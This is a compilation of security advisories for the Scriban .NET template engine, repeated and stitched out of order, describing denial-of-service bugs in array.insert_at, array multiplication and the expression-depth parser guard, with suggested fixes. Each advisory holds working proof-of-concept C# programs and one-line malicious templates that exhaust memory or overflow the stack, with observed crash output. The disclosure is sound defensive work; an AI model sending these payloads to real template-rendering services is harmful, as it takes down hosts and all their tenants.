Apply the same hardening already used on the sibling operations, in ScriptArray.cs (Multiply case, :504-508):

• Mirror array.insert_at: call context.StepLoop(span, ref loopStep) inside the fill loop so LoopLimit is enforced; or
• Mirror string * int: pre-check the result size with overflow-safe arithmetic before allocating, e.g. if (context.LimitToString > 0 && (long)intModifier * array.Count > context.LimitToString) throw new ScriptRuntimeException(...), and compute the capacity as long (or reject negative/overflowing products) to remove the integer-overflow path.

Add a regression test that asserts a graceful ScriptRuntimeException for a large multiplier (e.g. [1,2,3,4,5] * 50000000) rather than allowing the allocation to proceed.

Summary

ArrayFunctions.InsertAt in Scriban allocates index - list.Count null entries in a tight C# for loop with no bound on index. The function is exposed to template authors as array.insert_at, and the fill loop ignores every existing safety control: LoopLimit, LimitToString, ObjectRecursionLimit, and RecursiveLimit. A single template such as {{ [1] | array.insert_at 200000000 'x' | array.size }} causes OutOfMemoryException in well under a second on a host with 1 GB of memory, even when LoopLimit is set to 10 and LimitToString is set to 100. Because OutOfMemoryException is generally not caught by the template renderer or by typical host applications, the vulnerability terminates the host process, not just the template.

This is a sibling vector to GHSA-xw6w-9jjh-p9cr / GHSA-c875-h985-hvrc / GHSA-v66j-x4hw-fv9g, which patched comparable unbounded primitives in string * int, array.size, array.join, string.pad_left, and string.pad_right. The 7.0.0 hardening pass (dde661d "Apply LoopLimit to internal iteration paths" and 4227fde "Harden string padding width limits") swept the equivalent loops in ArrayFunctions and StringFunctions but missed InsertAt.

Details

Reproducible in 7.1.0 (latest tag) and on master at c8094b0.

src/Scriban/Functions/ArrayFunctions.cs:369-386:

public static IEnumerable InsertAt(IEnumerable? list, int index, object? value)
{
    if (index < 0)
    {
        index = 0;
    }

    var array = list is null ? new ScriptArray() : new ScriptArray(list);
    // Make sure that the list has already inserted elements before the index
    for (int i = array.Count; i < index; i++)
    {
        array.Add(null);            // <-- unbounded fill, no StepLoop, no Limit*
    }

    array.Insert(index, value);

    return array;
}

The function is registered as the template builtin array.insert_at (array.fmt-cs and the standard ArrayFunctions ScriptObject reflection registration). It is invoked from a template like [1] | array.insert_at 999999999 "x".

Three properties combine to make this exploitable:

1. There is no context-aware overload. Comparable amplification primitives in this same file received a (TemplateContext, SourceSpan, ...) overload that calls StepLoop per iteration (AddRange, Compact, Concat, Last, Limit, Offset, Reverse, Size, Sort, Uniq, Contains, Each, Filter, Join, Map, Any -- see commit dde661d). InsertAt was not given that treatment. The single IEnumerable, int, object signature is what the engine resolves to, so no host configuration changes its behaviour.

2. The loop itself never consults context.LoopLimit, context.LimitToString, context.RecursiveLimit, or context.ObjectRecursionLimit. There is no upstream call into context.StepLoop, context.CheckAbort, or any guard. With index = 200_000_000, the C# loop calls ScriptArray.Add(null) 200 million times on a List<object> whose capacity doubles geometrically; the JIT-compiled tight loop reaches the .NET array allocator faster than the GC can keep up.

3. OutOfMemoryException is the actual failure mode. Per Microsoft, OutOfMemoryException and friends are not reliably catchable by user code in production CLR runtimes; even when they are caught, large background allocations and triggered GC cycles leave the process in a degraded state. In the PoC below, the renderer wraps the OOM in a ScriptRuntimeException because the underlying allocation lands inside the renderer's try block, but on hosts that allocate the array slightly differently (e.g. tighter memory cap, server GC, or higher index value than the host has memory for) the bare OutOfMemoryException propagates and crashes the AppDomain.

The pattern that matches the existing fixes is to add a context-aware overload that validates index against LoopLimit (or LimitToString for the resulting array footprint) before the fill loop runs, and to mark the unsafe overload [ScriptMemberIgnore]:

[ScriptMemberIgnore]
public static IEnumerable InsertAt(IEnumerable list, int index, object value) { /* current body */ }

public static IEnumerable InsertAt(TemplateContext context, SourceSpan span, IEnumerable list, int index, object value)
{
    if (index < 0) index = 0;
    if (context.LoopLimit > 0 && index > context.LoopLimit)
    {
        throw new ScriptRuntimeException(span,
            $"array.insert_at index `{index}` exceeds LoopLimit `{context.LoopLimit}`.");
    }
    return InsertAt(list, index, value);
}

Same pattern as ArrayFunctions.AddRange, Compact, Concat, Last, Limit, etc., introduced by dde661d, and as StringFunctions.PadLeft/PadRight introduced by 4227fde.

PoC

Standalone .NET 9 console app referencing Scriban 7.1.0 from NuGet.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net9.0</TargetFramework>
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.1.0" />
  </ItemGroup>
</Project>

Program.cs:

using System;
using System.Diagnostics;
using Scriban;

class Program
{
    static void Run(string title, string template, int loopLimit, int limitToString, int timeoutSec)
    {
        Console.WriteLine($"\n=== {title} ===");
        var ctx = new TemplateContext { LoopLimit = loopLimit, LimitToString = limitToString };
        var tpl = Template.Parse(template);
        var sw = Stopwatch.StartNew();
        try
        {
            var task = System.Threading.Tasks.Task.Run(() => tpl.Render(ctx));
            if (!task.Wait(TimeSpan.FromSeconds(timeoutSec)))
            {
                Console.WriteLine($"  TIMEOUT after {timeoutSec}s -- DoS confirmed");
                return;
            }
            Console.WriteLine($"  output={task.Result?.Length} chars in {sw.Elapsed.TotalSeconds:F2}s");
        }
        catch (AggregateException ex)
        {
            Console.WriteLine($"  EXCEPTION ({sw.Elapsed.TotalSeconds:F2}s): {ex.InnerException?.GetType().Name}: " +
                              $"{ex.InnerException?.Message?.Split('\n')[0]}");
        }
    }

    static void Main()
    {
        // Baseline: small index renders normally.
        Run("baseline",
            "{{ ([1] | array.insert_at 5 'x' | array.size) }}",
            loopLimit: 1000, limitToString: 1048576, timeoutSec: 5);

        // Exploit: 200M index. LoopLimit=10 and LimitToString=100 do NOT protect.
        Run("DoS via array.insert_at index=200_000_000",
            "{{ [1] | array.insert_at 200000000 'x' | array.size }}",
            loopLimit: 10, limitToString: 100, timeoutSec: 30);

        // Exploit: int.MaxValue.
        Run("DoS via array.insert_at index=int.MaxValue",
            "{{ [1] | array.insert_at 2147483647 'x' | array.size }}",
            loopLimit: 10, limitToString: 100, timeoutSec: 15);
    }
}

Build and run inside a memory-capped Docker container so the OOM is actual, not theoretical:

docker run --rm -v "$PWD":/app -w /app -m 1g mcr.microsoft.com/dotnet/sdk:9.0 \
    dotnet run -c Release

Observed output:

=== baseline ===
  output=1 chars in 0.01s

=== DoS via array.insert_at index=200_000_000 ===
  EXCEPTION (0.68s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown.

=== DoS via array.insert_at index=int.MaxValue ===
  EXCEPTION (0.52s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown.

Two observations:

• The exploit triggers in roughly 600 ms inside a 1 GB container. Increasing the host memory simply moves the OOM threshold; the malicious template still wedges the process for the duration of the allocation and the resulting GC pressure, which is itself a denial of service even when the OOM is suppressed.
• Setting LoopLimit = 10 and LimitToString = 100 (effectively the most paranoid tuning a host could pick) makes no difference. The fill loop is in compiled C#, never goes through StepLoop, and the result is a ScriptArray, not a string, so LimitToString is never consulted.

Impact

Denial of service against any host that renders attacker-controlled or attacker-influenced Scriban templates. This includes the canonical Scriban use cases the README itself lists -- email templating, report templating, in-CMS templating, and Statiq-style static site generators where the template content is part of the data ingested. A single one-line template payload is enough to either OOM the process outright (when the host gives the renderer enough memory headroom for the loop to actually finish) or to wedge the process for tens of seconds while the allocator and GC fight (when memory is tight). On ASP.NET hosts using app.UseScriban-style middleware or background workers running per-tenant templates, the OOM terminates the entire process, taking down all tenants.

Severity is consistent with the four DoS GHSAs already published against Scriban (GHSA-xw6w-9jjh-p9cr High 7.5, GHSA-c875-h985-hvrc High 7.5, GHSA-v66j-x4hw-fv9g High 7.5, GHSA-m2p3-hwv5-xpqw High 7.5). The attack vector, complexity, and impact are identical: network reachable, low complexity, no privileges, no user interaction, full availability impact, no confidentiality or integrity impact. CVSS 4.0 vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (High, 8.7).

Summary

The ExpressionDepthLimit parser guard in Scriban does not actually stop parsing — it only logs a non-fatal error and lets recursive descent continue. As a result, a template containing a deeply nested expression (parentheses, array initializers, object initializers, or unary operators) drives the recursive-descent parser into a native stack overflow. The resulting StackOverflowException is uncatchable in .NET and immediately terminates the host process.

Any application that parses an attacker-influenced template — or that passes attacker-controlled strings to object.eval / object.eval_template — can be crashed by a single small request (roughly an 8 KB payload). This is a denial-of-service. It affects both Scriban-native (Template.Parse) and Liquid (Template.ParseLiquid) syntax modes, which share the same expression parser.

This re-opens two advisories that were reported as fixed: GHSA-wgh7-7m3c-fx25 ("Uncontrolled recursion in parser → StackOverflow", reported fixed in 6.6.0) and GHSA-p6q4-fgr8-vx4p ("StackOverflow via nested array initializers bypasses ExpressionDepthLimit", reported fixed in 7.0.0). Both fixes are incomplete: the limit they rely on never halts recursion. All releases 6.6.0 through 7.2.0 (current) are affected.

Details

The depth guard is EnterExpression() in src/Scriban/Parsing/Parser.Expressions.cs:

// src/Scriban/Parsing/Parser.Expressions.cs:1209-1218
private void EnterExpression()
{
    _expressionDepth++;
    var limit = Options.ExpressionDepthLimit;
    if (limit > 0 && !_isExpressionDepthLimitReached && _expressionDepth > limit)
    {
        LogError(GetSpanForToken(Previous), $"The statement depth limit `{limit}` was reached when parsing this statement");
        _isExpressionDepthLimitReached = true;
    }
}

When the limit is exceeded it calls LogError(...) and sets a flag. It does not throw, does not return a sentinel, and does not unwind the parse. LogError here uses the default isFatal: false, so it merely appends a message and sets HasErrors — parsing proceeds:

// src/Scriban/Parsing/Parser.cs:476-488
private void Log(LogMessage logMessage, bool isFatal = false)
{
    Messages.Add(logMessage);
    if (logMessage.Type == ParserMessageType.Error)
    {
        HasErrors = true;
        if (isFatal) _hasFatalError = true;   // not set on the depth-limit path
    }
}

The flag _isExpressionDepthLimitReached is consulted only to avoid logging the same error more than once — no code path uses it to stop descending. Confirmed by full-repo search (grep -rn "_isExpressionDepthLimitReached" src/): it appears in exactly four places — the field declaration (Parser.cs:40), a reset to false (Parser.cs:106), and within EnterExpression the dedup test (Parser.Expressions.cs:1213) and its assignment to true (:1216). The only read is the dedup test on line 1213; nothing else reads it. ParseExpression calls EnterExpression() and then continues straight into the token switch with no flag check:

// src/Scriban/Parsing/Parser.Expressions.cs:113 + 181-182
EnterExpression();
try
{
    ...
    case TokenType.OpenParen:
        leftOperand = ParseParenthesis();   // recurses back into ParseExpression

// src/Scriban/Parsing/Parser.Expressions.cs:984-1001
private ScriptExpression ParseParenthesis()
{
    var expression = Open<ScriptNestedExpression>();
    ExpectAndParseTokenTo(expression.OpenParen, TokenType.OpenParen);
    expression.Expression = ExpectAndParseExpression(expression);  // -> ParseExpression -> ParseParenthesis -> ...
    ...
}

Both Template.Parse (Scriban-native) and Template.ParseLiquid (Liquid-compatibility) front-ends share this same expression parser, so both entry points are affected.

So for input nested N levels deep, the parser recurses N levels deep regardless of ExpressionDepthLimit. There is no RuntimeHelpers.EnsureSufficientExecutionStack() call and no absolute recursion cap anywhere in the parser. Once the native thread stack is exhausted, the runtime raises StackOverflowException, which .NET does not allow to be caught and which tears down the entire process. The number of nesting levels required to overflow depends on the platform's thread-stack size (empirically around 4,000 levels on a default 1 MB stack); it is not a configurable mitigation.

The same defective guard is what makes the array-initializer fix for GHSA-p6q4-fgr8-vx4p ineffective: ParseArrayInitializer was wrapped in EnterExpression()/LeaveExpression(), but because EnterExpression() only logs, the array path still overflows.

The existing regression tests only assert HasErrors == true at a nesting depth of ~20 with a limit of 10 (src/Scriban.Tests/TestParser.cs); they never use a depth large enough to overflow the stack, so they pass while the protection does nothing against the actual DoS.

Runtime reachability without template injection: object.eval / object.eval_template (src/Scriban/Functions/ObjectFunctions.cs:72-155) re-parse a string argument at render time using Template.Parse(...). An application whose own templates are fully trusted is still vulnerable if any user-controlled value flows into object.eval. The catch (Exception) inside Eval cannot intercept the StackOverflowException.

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

int n = 8000; // ~8 KB template; 8000 reliably overflows a default 1 MB thread stack
string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";

System.Console.WriteLine($"Parsing template with {n} nested parentheses (default ParserOptions)...");
Template.Parse(tpl);                 // <-- process is killed here
System.Console.WriteLine("Parse returned without crashing"); // never reached

Run:

dotnet run -c Release

Observed output (process aborts; shell exit code 134 = SIGABRT):

Parsing template with 8000 nested parentheses (default ParserOptions)...
Stack overflow.
   at Scriban.Parsing.Parser.ParseParenthesis()
   at Scriban.Parsing.Parser.ParseExpression(...)
   at Scriban.Parsing.Parser.ExpectAndParseExpression(...)
   at Scriban.Parsing.Parser.ParseParenthesis()
   ... (repeats until the stack is exhausted)

Additional confirmations (same crash / exit 134), substituting the template body in Program.cs:

The explicit limit is ignored — still crashes:

Template.Parse(tpl, parserOptions: new ParserOptions { ExpressionDepthLimit = 10 });

Array initializers (the GHSA-p6q4 path):

string tpl = "{{ " + new string('[', n) + "1" + new string(']', n) + " }}";
Template.Parse(tpl);  // crashes identically

Object initializers {x:{x:...{x:1}...}}:

var b = new System.Text.StringBuilder();
for (int i = 0; i < n; i++) b.Append("{x:");
b.Append('1');
b.Append('}', n);
Template.Parse("{{ " + b + " }}");  // crashes identically

Unary operators:

string tpl = "{{ " + new string('!', n) + "true" + " }}";
Template.Parse(tpl);  // crashes identically

Liquid syntax mode (shares the same expression parser):

string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";
Template.ParseLiquid(tpl);  // crashes identically

Runtime via object.eval, with a fully trusted outer template — verified end-to-end: the outer parse reports HasErrors == false, then Render() crashes the process and the surrounding try/catch never fires (the StackOverflowException is uncatchable):

using Scriban;

int n = 8000;
string deep = new string('(', n) + "1" + new string(')', n);
string outer = "{{ \"" + deep + "\" | object.eval }}";

System.Console.WriteLine($"Outer template length = {outer.Length} chars.");
var t = Template.Parse(outer);
System.Console.WriteLine($"Outer parsed. HasErrors = {t.HasErrors}");
System.Console.WriteLine("Rendering (object.eval re-parses the inner string at runtime)...");
try
{
    t.Render();
    System.Console.WriteLine("Render returned without crashing");
}
catch (System.Exception e)
{
    System.Console.WriteLine($"Caught {e.GetType().Name} (note: StackOverflowException cannot be caught)");
}

Verified against clean NuGet installs of Scriban 6.6.0, 7.0.0, 7.1.0, and 7.2.0 (net8.0, .NET 9 runtime, Linux). A control template with depth 200 parses normally (HasErrors == false, no crash).

Impact

• Type: Denial of service via uncontrolled recursion (CWE-674) leading to an uncatchable StackOverflowException and full process termination.
• Severity: CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High) — the same vector and score as both prior advisories it re-opens (GHSA-wgh7-7m3c-fx25 and GHSA-p6q4-fgr8-vx4p, each scored 7.5 High with the identical AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H vector). The score reflects the library boundary, where no privileges are required to parse a template; the privilege actually needed in a given deployment depends on how that application exposes template input.
• Who is impacted: Any application that calls Template.Parse / Template.ParseLiquid (or Template.Render on an unparsed source) on template text that is wholly or partially attacker-controlled — the documented server-side template scenario — and any application that passes attacker-controlled strings to object.eval / object.eval_template, even when its own templates are trusted.
• Why the existing mitigation does not help: ExpressionDepthLimit (default 250) is advisory only; it records a parse error but does not stop recursion, so it cannot prevent the stack overflow. Because the exception is a StackOverflowException, callers cannot defend with try/catch either — the process is lost.
• Affected versions: 6.6.0 – 7.2.0 (all versions shipping the depth-limit guard). Versions before 6.6.0 are vulnerable to the original unbounded-recursion condition.

Suggested remediation: make the limit actually stop descent — e.g. throw a parse exception from EnterExpression() when the limit is exceeded (or log with isFatal: true and have the parse loop honor _hasFatalError by unwinding). As defense in depth, call RuntimeHelpers.EnsureSufficientExecutionStack() at the entry of ParseExpression (the same technique already used in object.to_json), and add a regression test at a depth that overflows without the fix (e.g. 100,000), asserting a graceful exception rather than only checking HasErrors at depth 20.

Summary

The array multiplication operator (array * integer) in Scriban allocates a result whose size is the product of the attacker-controlled integer and the array length, with no LoopLimit / LimitToString check and no overflow-safe arithmetic. A ~40-byte template forces a multi-gigabyte allocation, producing a denial-of-service.

This is the unguarded sibling of operations that were hardened against the same class of abuse: string * integer (gated by a LimitToString pre-check), array.insert_at (gated by StepLoop/LoopLimit — the GHSA-24c8-4792-22hx fix shipped in 7.2.0, scored 8.7 High), and the range/iteration paths covered by GHSA-c875-h985-hvrc ("Built-in operations bypass LoopLimit", fixed 7.0.0). The same LoopLimit-based hardening pattern was applied to those operations but never to array * integer.

This can be observed directly in 7.0.0, the release where GHSA-c875 was patched: (1..5) * 50000000 (and 1..N | array.size) correctly throws Exceeding number of iteration limit '1000', while [1,2,3,4,5] * 50000000 allocates ~2 GB with no limit. The LoopLimit control is enforced on the iteration path but not on the array * int allocation path, side by side, in the same version. The bug has been present since the operator was introduced in 3.0.0, survives all of the 6.6.0 / 7.0.0 / 7.2.0 DoS-hardening passes, and is still present in 7.2.0 (current) — i.e. it is both a missed sibling of GHSA-24c8 and an incomplete coverage of GHSA-c875's LoopLimit hardening.

Details

The array * int operator is handled in ScriptArray<T>.TryEvaluate:

// src/Scriban/Runtime/ScriptArray.cs:504-508  (Multiply case)
var newArray = new ScriptArray<T>(intModifier * array.Count);
for (int i = 0; i < intModifier; i++)
{
    newArray.AddRange(array);
}

intModifier is the attacker-supplied integer (context.ToInt(...), ScriptArray.cs:399). Two problems:

1. No resource limit. Neither new ScriptArray<T>(intModifier * array.Count) nor the AddRange loop consults LoopLimit, LimitToString, or calls context.StepLoop(...). A grep of the entire TryEvaluate method (ScriptArray.cs:360-560) finds no StepLoop / LoopLimit / Limit reference. LoopLimit (default 1000) is therefore not enforced: a template that requests 250,000,000 elements creates them all without any "iteration limit" error.

2. Integer overflow in the capacity. intModifier * array.Count is unchecked int arithmetic. The overflow-safe long cast used by the string sibling is absent here.

The DoS-hardening passes guarded the two sibling operations but not this one:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:341  (string * int — GUARDED)
if (context.LimitToString > 0 && value > 0 && leftText.Length > 0
        && (long)leftText.Length * value > context.LimitToString)   // long arithmetic, pre-check
{
    throw new ScriptRuntimeException(spanMultiplier, $"String multiplication exceeds LimitToString `{context.LimitToString}`.");
}

// src/Scriban/Functions/ArrayFunctions.cs:414  (array.insert_at — GUARDED, GHSA-24c8 fix in 7.2.0)
for (int i = array.Count; i < index; i++)
{
    context.StepLoop(span, ref loopStep);   // LoopLimit enforced
    array.Add(null);
}

array * int (ScriptArray.cs:504) received neither guard.

When the oversized allocation fails as a managed exception, it is wrapped by the binary-expression evaluator:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:241-243
catch (Exception ex) when (!(ex is ScriptRuntimeException))
{
    throw new ScriptRuntimeException(span, ex.Message);
}

So a host that wraps Render() in try/catch sees a ScriptRuntimeException carrying the original OutOfMemoryException message (or ArgumentOutOfRangeException on the integer-overflow path).

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

// ~41-byte template requests 5 * 200,000,000 = 1,000,000,000 elements
string tpl = "{{ x = [1,2,3,4,5] * 200000000; x.size }}";

System.Console.WriteLine("Rendering...");
var sw = System.Diagnostics.Stopwatch.StartNew();
var result = Template.Parse(tpl).Render();           // allocates ~7.7 GB
System.Console.WriteLine($"size={result.Trim()} peakWS="
    + System.Diagnostics.Process.GetCurrentProcess().PeakWorkingSet64 / (1024 * 1024)
    + "MB elapsed=" + sw.ElapsedMilliseconds + "ms");

Run:

dotnet run -c Release

Measured peak working set on Scriban 7.2.0 (net8.0, .NET 9 runtime, Linux), varying only the multiplier:

| Multiplier | template size | elements | peak working set | |---|---|---|---| | 100,000 | 38 B | 500K | 49 MB (not a DoS) | | 50,000,000 | 40 B | 250M | 1,958 MB | | 200,000,000 | 41 B | 1B | 7,681 MB | | 400,000,000 | 41 B | 2B | 15,313 MB | | 429,496,730 | 41 B | — | integer overflow in intModifier * array.Count → wrapped ArgumentOutOfRangeException |

LoopLimit (default 1000) is demonstrably not enforced: 250,000,000 elements are created with no "iteration limit" error. Reproduced identically on released NuGet 6.6.0, 7.0.0, 7.1.0, and 7.2.0, and on 3.0.0, 4.0.0, 5.0.0, 5.10.0, 6.0.0, 6.2.1, 6.5.8 (~2 GB at multiplier 50,000,000). Version 2.1.4 and earlier are NOT affected — the operator did not exist (Unable to convert type ScriptArray to int).

Impact

• Type: Denial of service via uncontrolled memory allocation (CWE-789 / CWE-1284). The result size is intModifier * array.Count, attacker-controlled, with no limit and no overflow-safe arithmetic.
• Severity: CVSS 4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N = 8.7 (High) — the same vector and score GitHub/Scriban assigned to the sibling advisory GHSA-24c8-4792-22hx. CVSS 3.1 equivalent AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High).
• Who is impacted: any application that renders a template whose text is wholly or partially attacker-controlled (the documented server-side template scenario), or that passes attacker-controlled strings to object.eval / object.eval_template. No MemberFilter interaction is required — this is a pure language operation.
• Outcome (deployment-dependent, stated honestly): On systems with sufficient memory, the runtime catches the allocation failure and the host sees a ScriptRuntimeException wrapping OutOfMemoryException (or ArgumentOutOfRangeException on the integer-overflow path) — recoverable per request. On systems where the multi-GB allocation exceeds available memory, the OS OOM-killer can terminate the process before the managed exception fires (this outcome is deployment-dependent and was not reproduced in our 20 GB + swap test environment). In all cases, a ~40-byte template forces a multi-GB allocation and seconds of pegged CPU/GC — a real per-request availability degradation and resource amplification.
• Why the existing mitigation does not help: LoopLimit (default 1000) is the documented control for unbounded iteration/allocation, but the array * int path never consults it, so a defender running default configuration is not protected.
• Affected versions: 3.0.0 – 7.2.0 (every release containing the array * int operator). 2.1.4 and earlier are not affected.

Suggested remediation

Apply the same hardening already used on the sibling operations, in ScriptArray.cs (Multiply case, :504-508):

• Mirror array.insert_at: call context.StepLoop(span, ref loopStep) inside the fill loop so LoopLimit is enforced; or
• Mirror string * int: pre-check the result size with overflow-safe arithmetic before allocating, e.g. if (context.LimitToString > 0 && (long)intModifier * array.Count > context.LimitToString) throw new ScriptRuntimeException(...), and compute the capacity as long (or reject negative/overflowing products) to remove the integer-overflow path.

Add a regression test that asserts a graceful ScriptRuntimeException for a large multiplier (e.g. [1,2,3,4,5] * 50000000) rather than allowing the allocation to proceed.

Summary

ArrayFunctions.InsertAt in Scriban allocates index - list.Count null entries in a tight C# for loop with no bound on index. The function is exposed to template authors as array.insert_at, and the fill loop ignores every existing safety control: LoopLimit, LimitToString, ObjectRecursionLimit, and RecursiveLimit. A single template such as {{ [1] | array.insert_at 200000000 'x' | array.size }} causes OutOfMemoryException in well under a second on a host with 1 GB of memory, even when LoopLimit is set to 10 and LimitToString is set to 100. Because OutOfMemoryException is generally not caught by the template renderer or by typical host applications, the vulnerability terminates the host process, not just the template.

This is a sibling vector to GHSA-xw6w-9jjh-p9cr / GHSA-c875-h985-hvrc / GHSA-v66j-x4hw-fv9g, which patched comparable unbounded primitives in string * int, array.size, array.join, string.pad_left, and string.pad_right. The 7.0.0 hardening pass (dde661d "Apply LoopLimit to internal iteration paths" and 4227fde "Harden string padding width limits") swept the equivalent loops in ArrayFunctions and StringFunctions but missed InsertAt.

Details

Reproducible in 7.1.0 (latest tag) and on master at c8094b0.

src/Scriban/Functions/ArrayFunctions.cs:369-386:

public static IEnumerable InsertAt(IEnumerable? list, int index, object? value)
{
    if (index < 0)
    {
        index = 0;
    }

    var array = list is null ? new ScriptArray() : new ScriptArray(list);
    // Make sure that the list has already inserted elements before the index
    for (int i = array.Count; i < index; i++)
    {
        array.Add(null);            // <-- unbounded fill, no StepLoop, no Limit*
    }

    array.Insert(index, value);

    return array;
}

The function is registered as the template builtin array.insert_at (array.fmt-cs and the standard ArrayFunctions ScriptObject reflection registration). It is invoked from a template like [1] | array.insert_at 999999999 "x".

Three properties combine to make this exploitable:

1. There is no context-aware overload. Comparable amplification primitives in this same file received a (TemplateContext, SourceSpan, ...) overload that calls StepLoop per iteration (AddRange, Compact, Concat, Last, Limit, Offset, Reverse, Size, Sort, Uniq, Contains, Each, Filter, Join, Map, Any -- see commit dde661d). InsertAt was not given that treatment. The single IEnumerable, int, object signature is what the engine resolves to, so no host configuration changes its behaviour.

2. The loop itself never consults context.LoopLimit, context.LimitToString, context.RecursiveLimit, or context.ObjectRecursionLimit. There is no upstream call into context.StepLoop, context.CheckAbort, or any guard. With index = 200_000_000, the C# loop calls ScriptArray.Add(null) 200 million times on a List<object> whose capacity doubles geometrically; the JIT-compiled tight loop reaches the .NET array allocator faster than the GC can keep up.

3. OutOfMemoryException is the actual failure mode. Per Microsoft, OutOfMemoryException and friends are not reliably catchable by user code in production CLR runtimes; even when they are caught, large background allocations and triggered GC cycles leave the process in a degraded state. In the PoC below, the renderer wraps the OOM in a ScriptRuntimeException because the underlying allocation lands inside the renderer's try block, but on hosts that allocate the array slightly differently (e.g. tighter memory cap, server GC, or higher index value than the host has memory for) the bare OutOfMemoryException propagates and crashes the AppDomain.

The pattern that matches the existing fixes is to add a context-aware overload that validates index against LoopLimit (or LimitToString for the resulting array footprint) before the fill loop runs, and to mark the unsafe overload [ScriptMemberIgnore]:

[ScriptMemberIgnore]
public static IEnumerable InsertAt(IEnumerable list, int index, object value) { /* current body */ }

public static IEnumerable InsertAt(TemplateContext context, SourceSpan span, IEnumerable list, int index, object value)
{
    if (index < 0) index = 0;
    if (context.LoopLimit > 0 && index > context.LoopLimit)
    {
        throw new ScriptRuntimeException(span,
            $"array.insert_at index `{index}` exceeds LoopLimit `{context.LoopLimit}`.");
    }
    return InsertAt(list, index, value);
}

Same pattern as ArrayFunctions.AddRange, Compact, Concat, Last, Limit, etc., introduced by dde661d, and as StringFunctions.PadLeft/PadRight introduced by 4227fde.

PoC

Standalone .NET 9 console app referencing Scriban 7.1.0 from NuGet.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net9.0</TargetFramework>
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.1.0" />
  </ItemGroup>
</Project>

Program.cs:

using System;
using System.Diagnostics;
using Scriban;

class Program
{
    static void Run(string title, string template, int loopLimit, int limitToString, int timeoutSec)
    {
        Console.WriteLine($"\n=== {title} ===");
        var ctx = new TemplateContext { LoopLimit = loopLimit, LimitToString = limitToString };
        var tpl = Template.Parse(template);
        var sw = Stopwatch.StartNew();
        try
        {
            var task = System.Threading.Tasks.Task.Run(() => tpl.Render(ctx));
            if (!task.Wait(TimeSpan.FromSeconds(timeoutSec)))
            {
                Console.WriteLine($"  TIMEOUT after {timeoutSec}s -- DoS confirmed");
                return;
            }
            Console.WriteLine($"  output={task.Result?.Length} chars in {sw.Elapsed.TotalSeconds:F2}s");
        }
        catch (AggregateException ex)
        {
            Console.WriteLine($"  EXCEPTION ({sw.Elapsed.TotalSeconds:F2}s): {ex.InnerException?.GetType().Name}: " +
                              $"{ex.InnerException?.Message?.Split('\n')[0]}");
        }
    }

    static void Main()
    {
        // Baseline: small index renders normally.
        Run("baseline",
            "{{ ([1] | array.insert_at 5 'x' | array.size) }}",
            loopLimit: 1000, limitToString: 1048576, timeoutSec: 5);

        // Exploit: 200M index. LoopLimit=10 and LimitToString=100 do NOT protect.
        Run("DoS via array.insert_at index=200_000_000",
            "{{ [1] | array.insert_at 200000000 'x' | array.size }}",
            loopLimit: 10, limitToString: 100, timeoutSec: 30);

        // Exploit: int.MaxValue.
        Run("DoS via array.insert_at index=int.MaxValue",
            "{{ [1] | array.insert_at 2147483647 'x' | array.size }}",
            loopLimit: 10, limitToString: 100, timeoutSec: 15);
    }
}

Build and run inside a memory-capped Docker container so the OOM is actual, not theoretical:

docker run --rm -v "$PWD":/app -w /app -m 1g mcr.microsoft.com/dotnet/sdk:9.0 \
    dotnet run -c Release

Observed output:

=== baseline ===
  output=1 chars in 0.01s

=== DoS via array.insert_at index=200_000_000 ===
  EXCEPTION (0.68s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown.

=== DoS via array.insert_at index=int.MaxValue ===
  EXCEPTION (0.52s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown.

Two observations:

• The exploit triggers in roughly 600 ms inside a 1 GB container. Increasing the host memory simply moves the OOM threshold; the malicious template still wedges the process for the duration of the allocation and the resulting GC pressure, which is itself a denial of service even when the OOM is suppressed.
• Setting LoopLimit = 10 and LimitToString = 100 (effectively the most paranoid tuning a host could pick) makes no difference. The fill loop is in compiled C#, never goes through StepLoop, and the result is a ScriptArray, not a string, so LimitToString is never consulted.

Impact

